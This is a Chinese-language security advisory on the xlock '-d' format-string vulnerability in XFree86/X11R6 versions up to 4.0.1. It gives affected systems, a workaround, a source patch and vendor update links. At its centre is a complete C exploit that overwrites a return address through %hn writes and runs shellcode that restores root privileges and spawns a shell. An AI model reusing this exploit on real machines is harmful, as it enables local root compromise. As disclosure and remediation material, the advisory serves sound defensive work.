首页 -> 安全研究

安全研究

安全漏洞
X11R6 xlock "-d"参数格式化串漏洞

发布日期:2000-08-18
更新日期:2000-10-26

受影响系统:

XFree86 X11R6 4.0.1
XFree86 X11R6 4.0
XFree86 X11R6 3.3.6
XFree86 X11R6 3.3.5
XFree86 X11R6 3.3.4
XFree86 X11R6 3.3.3
Open Group X 11.0R6.4
Open Group X 11.0R6.3
Open Group X 11.0R6.2
Open Group X 11.0R6.1
Open Group X 11.0R6

  - FreeBSD FreeBSD 5.0
  - FreeBSD FreeBSD 4.0
  - OpenBSD OpenBSD 2.7
  - OpenBSD OpenBSD 2.6
  - Slackware Linux 7.1
  - Slackware Linux 7.0
不受影响系统:

Sun Solaris 8.0
Sun Solaris 7.0
Turbo Linux 6.0
描述:

X11R6包中所带的xlock程序存在一个安全漏洞,它的"-d"参数是用来指定哪个显示器需要锁定。
正常格式应该是:
主机名:显示器号码,例如: a.b.com:0
但是,如果提供某些格式化串给"-d"参数的话,将导致攻击者覆盖堆栈中的某些内容.
某些系统的xlock被设置了setuid root位,因此攻击者可能以root权限执行任意代码。

<*来源:bind (bind@subterrain.net) *>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Ben Williams提供了一个测试代码:

/*

Exploit for xlock -d format string bug on i386 Linux.
By Ben Williams 21 Oct 2000.

Works on Slackware 7.1, Redhat 6.2 - did not have setuid though,  Mandrake 7.0.
Redhat 6.1 won't work because fprintf segfaults on large precisions.

gcc xlockfmt.c -o xlockfmt
usage: xlockfmt [offset]
Default offset is 48.

Program calcuates all variables such as target return address, shellcode address
and the format string itself. The only thing not calculated is an offset that is
dependant on the version of xlock or how xlock was compiled.
The target address is fprintf()'s saved return address. This equals the value of
openDisplay()'s saved base pointer less offset bytes. Shellcode is appended to
the format string.


Stack picture:
see resource.c, xlock.c

fprintf(stderr, buf) A-48| ret      | return address located at A - 48 bytes.
                          | stderr   |
                          | buf      |
           error(buf)     | bp  A    | first value printed by format string is A.
                          | ret      |
                          | buf      |
openDisplay(displayp)     | buf      |
                          | ?        |
                          | ?        |
                          | ?        |
                          | ?        |
                          | ?        |
                         A| bp       | base pointer located at address A.


*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <error.h>
#include <errno.h>
#include <sys/stat.h>
#include <unistd.h>

/*
* distance from fprintf's ret to openDisplay's base pointer
* redhat6.2, slackware7.1 = 48
* mandrake7.0 = 60
*/
#define OFFSET 48

#define XLOCK_PATH "/usr/X11R6/bin/xlock"

#define DEBUG 0
#define FMTSIZE 4096
#define CMDSIZE FMTSIZE + 100

/* number of words to print off the stack for analysis */
#define BIGBREAKFAST 400


/* xlock drops privs right away so we have to restore them again.
   setresuid(0, 0, 0) then execve a shell */
char shellcode[] =
        "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


char *mkfmt(int prebuf,
           int breakfast,
           unsigned long int location,
           unsigned long int value);


int main(int argc, char **argv){
    FILE *fp;
    char output[65536];
    char fmtstr[FMTSIZE];
    char command[CMDSIZE];
    int i;
    char *p;
    int prebuf;
    int breakfast;
    unsigned long int location;
    unsigned long int value;
    int shellcode_size = sizeof shellcode;
    int offset = OFFSET;
    struct stat f;

    i = stat(XLOCK_PATH, &f);
    if (i) error(1, errno, "whereis xlock?");
    if (!(f.st_mode & S_IXOTH)) error(1, 0, "executable?");
    if (!(f.st_mode & S_ISUID)) error(1, 0, "not setuid");

    if (argc > 1) {
        offset = atoi(argv[1]);
    }

    /*
     * Setup a format string to analyse the stack.
     */
    
    memset(output, 0, 65536);
    memset(fmtstr, 0x20, FMTSIZE);

    for (i = 0, p = fmtstr; i < BIGBREAKFAST; i++) {    
        memcpy(p, "%.8x ", 5);
        p += 5;
    }

    /*
     * blank out 10 bytes - the first two %.8x's.
     * this makes space for the prebuf bytes and token otgpdvt.
     */

    memset(fmtstr, 0x20, 10);   
    fmtstr[FMTSIZE - 1] = 0x00;
    
    /*
     *  Find the number of prebuf bytes (0x03's)to word align.        
     *  0 to 3 bytes may be needed to shove the token
     *  01010101 of the fmt str onto a word boundary.
     */

    i = 0;
    do {
        prebuf = i;
        memset(fmtstr, 0x03, i);  
        memset(fmtstr + i, 0x01, 4);
        sprintf(command, "%s -d '%s' 2>&1", XLOCK_PATH, fmtstr);
        fp = popen(command, "r");
        memset(output, 0, 65536);
        fread(output, 1024, 64, fp);
        fclose(fp);
#if DEBUG
        printf("======== trying prebuf %d =======\n%s", i, output);
#endif
        i++;
    } while (!strstr(output, "01010101") && i < 4); /* prebuf bytes always less than 4 */

    if (prebuf == 4){
        error(1, 0, "could not find fmt str on the stack");
    }


    memset(output, 0x20, 40);   /* clear the 'xlock: unable to open display' */
    p = strtok(output, "\x20"); /* get A */

    /*
     * Store error()'s base ptr value in var location.
     * Then find fprintf()'s ret by subracting offset.
     */

    location = strtoul(p, NULL, 16);
    location -= offset;
    value = location                /* fprintf's ret */
            + 12                    /* 3 words to error's bp */
            + breakfast * 4         /* breakfast words to fmt str */
            + FMTSIZE               /* to end of fmt str */
            - shellcode_size        /* to start of shellcode */
            - 100;                  /* position in the NOPS for safe measure */

    /*
     * Walk down the output string looking for 01010101,
     * counting how whole many words eaten to get there.
     */

    for (breakfast = 1; ; breakfast++) {
        p = strtok(NULL, "\x20");
        if (!p) error(1, 0, "reached end of output string and no 01010101");
#if DEBUG
        printf("eat %d to reach %s\n", breakfast, p);
#endif
        if (!strcmp(p, "01010101")) break;
    }


    /*
     * make the exploit fmt str.
     */

    p = mkfmt(prebuf, breakfast, location, value);
    memset(fmtstr, 0x90, FMTSIZE);
    memcpy(fmtstr, p, strlen(p));
    free(p);
    p = (char *) &fmtstr[FMTSIZE - shellcode_size];
    strcpy(p, shellcode);

    sprintf(command, "%s -d '%s'", XLOCK_PATH, fmtstr);

#if DEBUG
    puts("====== command line ======");
    printf("%s\n", command);
    puts("====== end command  ======");

#endif

    puts("====== system() ======");
    i = system(command);
    puts("====== end system ======");

    printf("\nsystem() returned %d\n", i);
    printf("prebuf was %d bytes\n", prebuf);
    printf("breakfast was %d words\n", breakfast);
    printf("location was %.8lx\n", location);
    printf("value was %.8lx\n", value);

    puts("exiting.");
    return 0;
}


/*
* Function to generate a nasty format string.
* MODIFIED FOR XLOCK EXPLOIT ONLY.
* breakfast - number of words to eat before reaching 01010101.
* location - memory address to write to.
* value - value to write.
*
* Resulting string looks something like this:
*
*      "\x03\x03\x03"          0 to 3 bytes used to align next value on a word boundary.
*      "\x01\x01\x01\x01"      this must be aligned on a word boundary.
*      "\xfc\xfa\xff\xbf"      first write address.
*      "\x01\x01\x01\x01"
*      "\xfe\xfa\xff\xbf"      second write address.
*      "%.8x%.8x%.8x"          this example breakfast = 3.
*      "%.45780lx"             this must write the first 01010101
*      "%hn"
*      "%.3371lx"              writes the second 01010101
*      "%hn"
*      
*/

char *mkfmt(int prebuf,
            int breakfast,
            unsigned long int location,
            unsigned long int value)
{
    char *buf;
    unsigned long int dest_addr[2];
    unsigned int precision[2];
    unsigned int small;  /* small half of value */
    unsigned int big;    /* big half of value */
    char *p;
    int i;
    
    buf = (char *) malloc(200);
    if (!buf) {
        error(1, errno, "failed to malloc");
    }
    
    big = value & 0x0000ffff;        /* grab the 2 low order bytes */
    small = (value & 0xffff0000) >> 16;   /* and the 2 high order */

    if (big < small) {
        big ^= small; small ^= big; big ^= small;
        dest_addr[0] = location;
        dest_addr[1] = location +2;
    }
    else {
        dest_addr[0] = location +2;
        dest_addr[1] = location;
    }

    p = buf;
    memset(p, 0x03, prebuf);
    p += prebuf;
    memcpy(p, "\x01\x01\x01\x01", 4);
    p += 4;
    memcpy(p, (char *)&dest_addr[0], 4);
    p += 4;
    memcpy(p, "\x01\x01\x01\x01", 4);
    p += 4;
    memcpy(p, (char *)&dest_addr[1], 4);
    p += 4;

    for (i=0; i < breakfast; i++){
        memcpy(p, "%.8x", 4);
        p += 4;
    }

    /* the 30 chars are the 'xlock: unable to open...' */

    precision[0] = small - (8 * breakfast + 16 + prebuf + 30);
    precision[1] = big - small;    

#if DEBUG
    strcat(buf, "\nFirst print %.8x\n");
    strcat(buf, "First write %.8x\n");
    strcat(buf, "Second print %.8x\n");
    strcat(buf, "Second write %.8x\n");

#else
    sprintf(p, "%%.%dx%%hn%%.%dx%%hn", precision[0], precision[1]);

#endif
    return buf;

}


建议:

临时解决方法:

NSFOCUS建议您在没有升级程序之前,暂时去掉xlock的setuid root属性,或者
执行漏洞发现者bind提供的非正式补丁,重新编译xlock

--- xlock.c     Tue Aug 15 23:10:32 2000
+++ xlock-patched.c     Tue Aug 15 23:03:22 2000
@@ -944,7 +944,7 @@ error(const char *buf)
#if defined( HAVE_SYSLOG_H ) && defined( USE_SYSLOG )
        extern Display *dsp;
        
-       syslog(SYSLOG_WARNING, buf);
+       syslog(SYSLOG_WARNING,"%s", buf);
        if (!nolock) {
                if (strstr(buf, "unable to open display") == NULL)
                        syslogStop(XDisplayString(dsp));
@@ -953,7 +953,7 @@ error(const char *buf)
                closelog();
        }       
#else          
-       (void) fprintf(stderr, buf);
+       (void) fprintf(stderr,"%s", buf);
#endif
        exit(1);
}      
        






厂商补丁:

[ FreeBSD ]

ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/x11/xlockmore-4.17.1.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/x11/xlockmore-4.17.1.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/x11/xlockmore-4.17.1.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/x11/xlockmore-4.17.1.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/x11/xlockmore-4.17.1.tgz


[ Linux-Mandrake ]

Linux-Mandrake 6.1:
bbc1f6fc45f99d0ce5373a11e50a4df7  6.1/RPMS/xlockmore-4.17.1-2mdk.i586.rpm
2dd806185233f418719dfed6adf7b9ce  6.1/SRPMS/xlockmore-4.17.1-2mdk.src.rpm

Linux-Mandrake 7.0:
459bae04aa74d3f2216487fa98486bdd  7.0/RPMS/xlockmore-4.17.1-1mdk.i586.rpm
1a6030ffb6771c283dd5ee63bc7fb484  7.0/SRPMS/xlockmore-4.17.1-1mdk.src.rpm

Linux-Mandrake 7.1:
8f10bda5c8773bcf36307f581531431b  7.1/RPMS/xlockmore-4.17.1-1mdk.i586.rpm
1a6030ffb6771c283dd5ee63bc7fb484  7.1/SRPMS/xlockmore-4.17.1-1mdk.src.rpm

上述程序可以从下列地址下载:

ftp://ftp.linux.tucows.com/pub/distributions/Mandrake/Mandrake/updates
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates

[ CONECTIVA LINUX ]

ftp://atualizacoes.conectiva.com.br/4.0/i386/xlockmore-4.17-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/xlockmore-4.17-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/i386/xlockmore-4.17-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/xlockmore-4.17-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.1/i386/xlockmore-4.17-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/xlockmore-4.17-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.2/i386/xlockmore-4.17-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/xlockmore-4.17-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.0/i386/xlockmore-4.17-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/xlockmore-4.17-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.1/i386/xlockmore-4.17-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/xlockmore-4.17-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ecomm/i386/xlockmore-4.17-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ecomm/SRPMS/xlockmore-4.17-1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferrgraf/i386/xlockmore-4.17-1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferrgraf/SRPMS/xlockmore-4.17-1cl.src.rpm

[ Debain ]
Debian GNU/Linux 2.1 alias slink
- --------------------------------
  Source archives:
    http://security.debian.org/dists/slink/updates/source/xlockmore_4.12-5.diff.gz
    http://security.debian.org/dists/slink/updates/source/xlockmore_4.12-5.dsc
    http://security.debian.org/dists/slink/updates/source/xlockmore_4.12.orig.tar.gz

  Alpha architecture:
    http://security.debian.org/dists/slink/updates/binary-alpha/xlockmore-gl_4.12-5_alpha.deb
    http://security.debian.org/dists/slink/updates/binary-alpha/xlockmore_4.12-5_alpha.deb

  Intel ia32 architecture:
    http://security.debian.org/dists/slink/updates/binary-i386/xlockmore-gl_4.12-5_i386.deb
    http://security.debian.org/dists/slink/updates/binary-i386/xlockmore_4.12-5_i386.deb

  Sun Sparc architecture:
    http://security.debian.org/dists/slink/updates/binary-sparc/xlockmore-gl_4.12-5_sparc.deb
    http://security.debian.org/dists/slink/updates/binary-sparc/xlockmore_4.12-5_sparc.deb


Debian GNU/Linux 2.2 alias potato
- ---------------------------------

  Source archives:
    http://security.debian.org/dists/potato/updates/main/source/xlockmore_4.15-9.diff.gz
    http://security.debian.org/dists/potato/updates/main/source/xlockmore_4.15-9.dsc
    http://security.debian.org/dists/potato/updates/main/source/xlockmore_4.15.orig.tar.gz

  Alpha architecture:
    http://security.debian.org/dists/potato/updates/main/binary-alpha/xlockmore-gl_4.15-9_alpha.deb
    http://security.debian.org/dists/potato/updates/main/binary-alpha/xlockmore_4.15-9_alpha.deb

  Arm architecture:
    http://security.debian.org/dists/potato/updates/main/binary-arm/xlockmore-gl_4.15-9_arm.deb
    http://security.debian.org/dists/potato/updates/main/binary-arm/xlockmore_4.15-9_arm.deb

  Intel ia32 architecture:
    http://security.debian.org/dists/potato/updates/main/binary-i386/xlockmore-gl_4.15-9_i386.deb
    http://security.debian.org/dists/potato/updates/main/binary-i386/xlockmore_4.15-9_i386.deb

  Sun Sparc architecture:
    http://security.debian.org/dists/potato/updates/main/binary-sparc/xlockmore-gl_4.15-9_sparc.deb
    http://security.debian.org/dists/potato/updates/main/binary-sparc/xlockmore_4.15-9_sparc.deb


浏览次数:6630
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障